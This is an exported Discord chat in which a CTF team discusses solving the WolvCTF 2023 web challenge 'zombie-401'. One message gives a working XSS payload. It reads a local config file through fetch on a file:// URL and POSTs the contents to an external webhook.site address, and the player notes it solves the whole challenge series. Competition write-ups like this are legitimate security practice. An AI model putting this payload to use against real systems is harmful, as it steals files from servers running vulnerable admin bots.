Guild icon
Project Sekai
🔒 WolvCTF 2023 / ✅-web-zombie-401
Avatar
Sutx BOT 03/17/2023 8:33 PM
Zombie 401 - 500 points
Category: Web Description: You are almost there. Only one more to go! Can you find the secret flag and complete the zombie gauntlet? You can do it! https://zombie-401-tlejfksioa-ul.a.run.app Files:Tags: SamXML#6151
03/17/2023 8:33 PM
Sutx pinned a message to this channel. 03/17/2023 8:33 PM
Avatar
Sutx BOT 03/17/2023 8:33 PM
@strellic wants to collaborate 🤝
Avatar
strellic 03/17/2023 8:33 PM
zzzzz
20:38
oh wtf
20:38
LMAO
Avatar
sahuang 03/17/2023 8:39 PM
👀
Avatar
Sutx BOT 03/17/2023 8:39 PM
@Violin wants to collaborate 🤝
20:40
✅ Challenge solved.
Avatar
strellic 03/17/2023 8:40 PM
i actually feel kinda baited
20:40
this entire challenge series was a huge troll
20:41
the xss admin bot zombiejs can just read local files with fetch
20:41
so every chall in the series can just be solved with
20:41
<script> fetch("file:///ctf/app/config.json").then(r => r.text()).then(r => fetch("https://webhook.site/9b7c46cb-a259-460b-a678-3f50df182f9a/", {method: "POST", body:r })); </script>
Avatar
sahuang 03/17/2023 8:41 PM
same payload for 4??
20:41
wtf
Avatar
strellic 03/17/2023 8:41 PM
this would work for every chall
Avatar
sahuang 03/17/2023 8:41 PM
but they only showed it in last chall that you know that?
Avatar
strellic 03/17/2023 8:41 PM
it only clicked in last chall lmfao
Avatar
sahuang 03/17/2023 8:41 PM
LOL
Avatar
strellic 03/17/2023 8:41 PM
cuz flag is literally only on disk
Avatar
Violin 03/17/2023 8:41 PM
WTF
20:42
🔥 🔥 🔥
Avatar
strellic 03/17/2023 8:42 PM
what a funny set of challs
20:42
i was wondering how some teams solved each chall with like 3 mins gap in between
Avatar
sahuang 03/17/2023 8:42 PM
ah
20:42
no wonder
20:42
lmao
Exported 28 message(s)